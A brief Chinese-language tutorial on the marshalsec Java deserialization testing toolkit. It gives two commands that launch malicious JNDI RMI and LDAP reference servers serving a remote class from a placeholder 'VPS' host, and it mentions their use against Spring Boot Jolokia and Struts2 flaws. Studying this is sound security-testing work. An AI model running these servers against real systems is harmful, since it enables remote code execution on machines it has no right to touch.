marshalsec-0.0.3-SNAPSHOT-all.jar是一款用于测试和研究Java远程方法调用(RMI)及其它基于对象的协议安全性的工具包,包含多种恶意和服务模式。
Moritz Bechler编写了一个工具,源码可以从GitHub下载。使用Maven编译后得到一个jar包,方便那些没有编译环境的用户直接运行该jar包来开启RMI或LDAP服务。
要启动RMI服务,请执行以下命令:
```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099
```
要启动LDAP服务,请使用如下命令:
```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/ExportObject 1389
```
这个工具可以用来测试Spring Boot Jolokia的远程命令执行,也可以用于检测Struts2 S系列漏洞。